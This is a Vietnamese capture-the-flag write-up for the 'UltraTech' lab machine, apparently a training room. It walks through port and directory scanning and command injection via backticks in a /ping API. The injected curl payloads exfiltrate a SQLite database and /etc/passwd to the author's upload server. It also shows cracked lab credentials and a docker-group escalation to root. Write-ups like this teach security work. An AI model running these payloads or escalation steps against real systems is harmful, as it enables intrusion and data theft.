Icon

UltraTech

The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing.

November 4, 2025 July 22, 2025 Medium
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

Vì server sử dụng một port không phổ biến, nếu chạy Nmap với chế độ quét toàn bộ port sẽ rất chậm. Thay vào đó, chúng ta dùng RustScan – một công cụ hiện đại có thể quét toàn bộ port trong vài giây – để thực hiện việc scan.

$ rustscan -a 10.10.249.4 -r 1-65535 -- -sV

PORT      STATE SERVICE REASON         VERSION
21/tcp    open  ftp     syn-ack ttl 60 vsftpd 3.0.3
22/tcp    open  ssh     syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8081/tcp  open  http    syn-ack ttl 60 Node.js Express framework
31331/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Kết quả cho thấy có 4 port mở. Port 21 chạy vsftpd 3.0.3. Port 22 chạy OpenSSH và cho thấy hệ điều hành là Ubuntu. Port 8081 chạy HTTP với Node.js Express framework. Port 31331 chạy HTTP với Apache 2.4.29.

HTTP 8081

Ở port 8081, chúng ta thấy đang host một API server tên UltraTech, phiên bản 0.1.3.

image.png

Directory Enumeration

Khi dùng Gobuster để quét các thư mục và file ẩn, chúng ta phát hiện ra hai API endpoint.

$ gobuster dir -u http://10.10.249.66:8081/ -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt,html -b 404,403
...
/auth                 (Status: 200) [Size: 39]
/ping                 (Status: 500) [Size: 1094]
/auth

image.png

Chúng ta sau đó thử một số default credentials phổ biến như admin:admin, admin:password, hay root:root nhưng đều thất bại.

image.png

Tuy nhiên, vì API thiếu cơ chế kiểm tra input (ít nhất là ở phía client), khả năng cao nó dễ bị tấn công SQL Injection.

/ping

image.png

Dựa vào lỗi trả về, chúng ta biết backend đang chạy bằng NodeJS.

HTTP 31331

image.png

Landing page không tiết lộ thông tin hữu ích nào.

Directory Enumeration

Chúng ta tiếp tục chạy directory scan trên website này.

$ gobuster dir -u http://10.10.249.66:31331/ -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt,html -b 404,403

/css                  (Status: 301) [Size: 317] [--> http://10.10.249.4:31331/css/]
/favicon.ico          (Status: 200) [Size: 15086]
/images               (Status: 301) [Size: 320] [--> http://10.10.249.4:31331/images/]
/index.html           (Status: 200) [Size: 6092]
/index.html           (Status: 200) [Size: 6092]
/javascript           (Status: 301) [Size: 324] [--> http://10.10.249.4:31331/javascript/]
/js                   (Status: 301) [Size: 316] [--> http://10.10.249.4:31331/js/]
/partners.html        (Status: 200) [Size: 1986]
/robots.txt           (Status: 200) [Size: 53]
/robots.txt           (Status: 200) [Size: 53]
/what.html            (Status: 200) [Size: 2534]
/images

image.png

Thư mục /images có thể truy cập công khai, nhưng không chứa dữ liệu nhạy cảm.

/robots.txt

image.png

File robots.txt lại tiết lộ một sitemap nằm ở /utech_sitemap.txt, trong đó có ba trang mà trước đó Gobuster cũng đã tìm ra.

image.png

/what.html

image.png

/partners.html

image.png

Trang login sử dụng API endpoint /auth để xác thực người dùng. Và khi phân tích bằng Burp Suite, chúng ta thấy trang còn gửi request đến endpoint /ping mỗi 10 giây.

image.png

Theo request và response, /ping nhận vào một địa chỉ IP, sau đó thực hiện lệnh hệ thống ping và trả về kết quả.

image.png

Vì không có cơ chế kiểm tra input từ người dùng, ít nhất là phía client, endpoint này có khả năng dễ bị OS Command Injection.

SQL Injection Testing

Chúng ta dùng Burp Suite Intruder để kiểm tra SQL Injection với cấu hình: chế độ Sniper, chọn vị trí ở tham số login và password, payload dạng simple list.

/usr/share/wordlists/seclists/Fuzzing/SQLi/quick-SQLi.txt

image.png

image.png

Tuy nhiên không payload nào cho thấy API bị dính SQL Injection.

OS Command Injection Testing

Trong khi đó, chúng ta thử chèn flag -c vào tham số IP và thấy server có thể ping localhost nhiều lần. Điều này chứng minh API bị dính OS Command Injection.

image.png

Tiếp tục thử các dấu phân cách lệnh như ;, &&, ||, | nhưng đều thất bại, nhiều khả năng đã bị filter phía server.

image.png

Tuy nhiên, ký tự backtick (`) không bị lọc, cho phép thực thi lệnh lồng nhau, ví dụ như id.

image.png

Do cách tham số được xử lý, chỉ chuỗi đầu tiên (cắt bởi khoảng trắng) được xem là host, nên output của lệnh không hiện đầy đủ.

Database File Disclosure

Bằng lệnh ls, chúng ta phát hiện tên file database.

image.png

Vì output không hiển thị hết, chúng ta dựng một HTTP server bằng Python trên máy của mình để exfiltrate file database này, bằng cách upload trực tiếp từ target.

$ cat server.py
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler

class UploadServer(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        filename = self.headers.get('X-Filename', 'uploaded.sqlite')
        data = self.rfile.read(content_length)

        with open(filename, 'wb') as f:
            f.write(data)

        print(f"[+] Received and saved file: {filename}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"Upload complete\n")

if __name__ == "__main__":
    server_address = ('0.0.0.0', 4242)
    httpd = HTTPServer(server_address, UploadServer)
    print("Listening on port 4242...")
    httpd.serve_forever()

$ py server.py
Listening on port 4242...

Payload được chèn vào để tải file database lên server:

`curl --data-binary @"utech.db.sqlite" -H "X-Filename: utech.db.sqlite" http://10.17.21.52:4242`

image.png

Log tại Python server cho thấy file đã được upload thành công.

Credentials Disclosure

File database chứa một loạt credentials.

$ sqlite3 utech.db.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> .schema users
CREATE TABLE users (
            login Varchar,
            password Varchar,
            type Int
        );
sqlite> select * from users;
admin|0d0ea5111e3c1def594c1684e3b9be84|0
r00t|f357a0c52799563c7c7b76c1e7543a32|0

Các password này dễ dàng bị crack bằng công cụ hash cracker trực tuyến.

image.png

usernamepassword
adminmrsheafy
r00tn100906

System Users Disclosure

Sau đó, chúng ta áp dụng cùng kỹ thuật để exfiltrate file /etc/passwd và thu được danh sách user trên hệ thống.

`curl --data-binary @"/etc/passwd" -H "X-Filename: passwd" http://10.17.21.52:4242`

image.png

$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
r00t:x:1001:1001::/home/r00t:/bin/bash
www:x:1002:1002::/home/www:/bin/sh

Trong đó có user r00t (không phải root thực sự), còn admin thì không tồn tại.

Authentication Attempts (/auth API endpoint)

Cuối cùng, chúng ta thử dùng credentials thu được để xác thực với API /auth. Tuy vậy, vẫn không tìm được thêm thông tin nào khác.

image.png

image.png

Shell as r00t

Chúng ta có thể SSH vào hệ thống với user r00t bằng credentials đã thu được trước đó.

ssh r00t@10.10.249.66
The authenticity of host '10.10.249.66 (10.10.249.66)' can't be established.
ED25519 key fingerprint is SHA256:g5I2Aq/2um35QmYfRxNGnjl3zf9FNXKPpEHxMLlWXMU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.249.66' (ED25519) to the list of known hosts.
r00t@10.10.249.66's password:
...
r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

Shell as root

r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

Khi kiểm tra, ta thấy r00t thuộc nhóm docker. Điều này cho phép kẻ tấn công khởi chạy một container Docker với quyền root (bên trong container). Tuy nhiên, nếu mount thư mục gốc / của host vào trong container, chúng ta sẽ có thể truy cập toàn bộ filesystem của host, mặc dù đang ở trong môi trường container.

Câu lệnh Docker này được tham khảo từ cheatsheet sau:

r00t@ultratech-prod:~$ docker run -it --rm -v /:/mnt bash
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Khi thực hiện, thư mục gốc / của host được mount vào /mnt/root/ trong container, cho phép ta toàn quyền thao tác trên hệ thống host.

bash-5.0# cd /mnt/root/
bash-5.0# ls -la
total 40
drwx------    6 root     root          4096 Mar 22  2019 .
drwxr-xr-x   23 root     root          4096 Mar 19  2019 ..
-rw-------    1 root     root           844 Mar 22  2019 .bash_history
-rw-r--r--    1 root     root          3106 Apr  9  2018 .bashrc
drwx------    2 root     root          4096 Mar 22  2019 .cache
drwx------    3 root     root          4096 Mar 22  2019 .emacs.d
drwx------    3 root     root          4096 Mar 22  2019 .gnupg
-rw-r--r--    1 root     root           148 Aug 17  2015 .profile
-rw-------    1 root     root             0 Mar 22  2019 .python_history
drwx------    2 root     root          4096 Mar 22  2019 .ssh
-rw-rw-rw-    1 root     root           193 Mar 22  2019 private.txt
bash-5.0# cat private.txt
## Life and acomplishments of Alvaro Squalo - Tome I

Memoirs of the most successful digital nomdad finblocktech entrepreneur
in the world.

By himself.

### Chapter 1 - How I became successful